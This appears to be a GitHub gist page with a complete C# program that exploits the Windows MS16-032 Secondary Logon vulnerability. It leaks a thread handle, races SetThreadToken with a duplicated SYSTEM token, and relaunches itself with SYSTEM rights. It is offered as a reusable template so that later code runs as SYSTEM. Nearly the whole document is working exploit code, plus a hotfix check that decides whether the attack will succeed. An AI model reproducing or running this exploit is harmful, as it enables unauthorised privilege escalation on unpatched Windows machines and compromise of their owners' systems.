Skip to content

Instantly share code, notes, and snippets.

@71
Last active July 30, 2016 18:30
Show Gist options
  • Save 71/dce4c6e34fd71fbc8ee404ac456b0a6b to your computer and use it in GitHub Desktop.
Save 71/dce4c6e34fd71fbc8ee404ac456b0a6b to your computer and use it in GitHub Desktop.
Program.cs file that is guaranteed to execute with SYSTEM rights, thanks to MS16-032. Works with .NET 3.5+.
namespace SystemApp
{
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
using System;
using System.Reflection;
#region MS16-032
#region Windows APIs
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
#endregion
/// <summary>
/// Simple class that invokes the MS16-032 vulnerability.
/// <seealso cref="https://technet.microsoft.com/en-us/library/security/ms16-032.aspx"/>
/// <seealso cref="https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html"/>
/// <seealso cref="https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1"/>
/// </summary>
public static class MS16032
{
#region Publicly exposed members
/// <summary>
/// Whether or not the M16-032 vulnerability
/// can be executed on this system.
/// <para>
/// Affected OSes are: Vista, 7, 8.1, 10, Server 2008, and Server 2012.
/// Both 32bit and 64bit are affected.
/// </para>
/// <para>
/// The OS must have at least two CPU cores.
/// </para>
/// <para>
/// On Windows 10, the vulnerability is patched in KB3135174 and KB3140743.
/// </para>
/// </summary>
public static bool CanExecute
{
get
{
return Environment.ProcessorCount > 1
&& Environment.OSVersion.Version.Major == 6
&& !GetInstalledHotfixes().Any(hotfix => hotfix == "KB3135174" || hotfix == "KB3140743");
}
}
/// <summary>
/// Get the last error encountered while invoking
/// the MS16-032 vulnerability.
/// </summary>
public static string LastError { get; private set; }
/// <summary>
/// Return whether or not the current user has SYSTEM rights.
/// </summary>
public static bool IsSystem
{
get
{
Process cmd = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "whoami",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
}
};
try
{
cmd.Start();
cmd.WaitForExit(500);
}
catch (Exception)
{
cmd.Dispose();
return false;
}
using (cmd)
return cmd.StandardOutput.ReadToEnd().Trim().Equals(@"nt authority\system", StringComparison.InvariantCultureIgnoreCase);
}
}
/// <summary>
/// Execute a given command as administrator, using the MS16-032 vulnerability.
/// </summary>
/// <param name="cmd">The command to execute as an administrator</param>
/// <returns>Whether or not the operation was successful.</returns>
public static bool ExecuteAsAdmin(string app = @"C:\Windows\System32\cmd.exe", string args = "", TimeSpan? timeout = null)
{
IntPtr sysTokenHandle;
IntPtr hThread;
if ((hThread = GetThreadHandle()) == IntPtr.Zero)
return Error("Cannot get thread handle.");
try
{
sysTokenHandle = GetSystemToken(hThread);
}
catch (Exception e)
{
Kernel32.ResumeThread(hThread);
return Error(e.Message);
}
IntPtr duplicateTokenHandle = IntPtr.Zero;
Advapi32.DuplicateToken(sysTokenHandle, 2, ref duplicateTokenHandle);
Thread raceThread = new Thread(() =>
{
while (true)
Advapi32.SetThreadToken(ref hThread, duplicateTokenHandle);
});
Stopwatch safeGuard = new Stopwatch();
int ms = timeout.HasValue ? timeout.Value.Milliseconds : 10000;
raceThread.Start();
while (safeGuard.ElapsedMilliseconds < ms)
{
PROCESS_INFORMATION processInfo;
var startupInfo = new STARTUPINFO
{
cb = Marshal.SizeOf(typeof(STARTUPINFO))
};
if (!Advapi32.CreateProcessWithLogonW(
"user", "domain", "pass", 0x00000002,
app, args, 0x00000004,
0, Environment.CurrentDirectory, ref startupInfo, out processInfo))
{
continue;
}
IntPtr tokenHandle = IntPtr.Zero;
if (!Advapi32.OpenProcessToken(processInfo.hProcess, 0x28, ref tokenHandle))
{
safeGuard.Stop();
raceThread.Abort();
return true;
}
Kernel32.TerminateProcess(processInfo.hProcess, 1);
Kernel32.CloseHandle(processInfo.hProcess);
Kernel32.CloseHandle(processInfo.hThread);
}
safeGuard.Stop();
raceThread.Abort();
return false;
}
#endregion
#region Private methods
/// <summary>
/// Return <c>false</c>, and set <see cref="LastError"/> to <paramref name="err"/>.
/// </summary>
private static bool Error(string err)
{
LastError = err;
return false;
}
private static IntPtr GetThreadHandle()
{
PROCESS_INFORMATION processInfo;
IntPtr currentThread = Kernel32.GetCurrentThread();
var startupInfo = new STARTUPINFO
{
dwFlags = 0x00000100,
hStdInput = currentThread,
hStdOutput = currentThread,
hStdError = currentThread,
cb = Marshal.SizeOf(typeof(STARTUPINFO))
};
Advapi32.CreateProcessWithLogonW(
"user", "domain", "pass", 0x00000002,
@"C:\Windows\System32\cmd.exe", "", 0x00000004,
0, Environment.CurrentDirectory, ref startupInfo, out processInfo);
IntPtr targetHandle = IntPtr.Zero;
Kernel32.DuplicateHandle(
processInfo.hProcess, (IntPtr)0x4, Kernel32.GetCurrentProcess(),
ref targetHandle, 0, false, 0x00000002);
Kernel32.TerminateProcess(processInfo.hProcess, 1);
Kernel32.CloseHandle(processInfo.hProcess);
Kernel32.CloseHandle(processInfo.hThread);
return targetHandle;
}
private static IntPtr GetSystemToken(IntPtr hThread)
{
if (Kernel32.SuspendThread(hThread) != 0)
throw new Exception("Bad thread.");
if (!Advapi32.SetThreadToken(ref hThread, IntPtr.Zero))
throw new Exception("SetThreadToken failed.");
SQOS sqos = new SQOS
{
ImpersonationLevel = 2,
Length = Marshal.SizeOf(typeof(SQOS))
};
if (Ntdll.NtImpersonateThread(hThread, hThread, ref sqos) != 0)
throw new Exception("NtImpersonateThread failed.");
IntPtr sysTokenHandle;
if (!Advapi32.OpenThreadToken(hThread, 0x0006, false, out sysTokenHandle))
throw new Exception("OpenThreadToken failed.");
Kernel32.ResumeThread(hThread);
return sysTokenHandle;
}
private static IEnumerable<string> GetInstalledHotfixes()
{
Process cmd = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "wmic",
Arguments = "QFE GET HotfixID",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
}
};
try
{
cmd.Start();
cmd.WaitForExit(500);
}
catch (Exception)
{
cmd.Dispose();
yield break;
}
while (!cmd.StandardOutput.EndOfStream)
yield return cmd.StandardOutput.ReadLine().Trim();
cmd.Dispose();
}
#endregion
}
#endregion
class Program
{
static void Main(string[] args)
{
#region Make sure we're admins
if (!MS16032.IsSystem)
{
if (!MS16032.CanExecute)
Console.WriteLine("Cannot execute MS16-032 on this machine.");
else if (!MS16032.ExecuteAsAdmin(Assembly.GetExecutingAssembly().Location))
Console.WriteLine("Couldn't exploit MS16-032: {0}", MS16032.LastError);
return;
}
#endregion
// The code beneath this line will be executed as SYSTEM.
Console.ReadKey();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment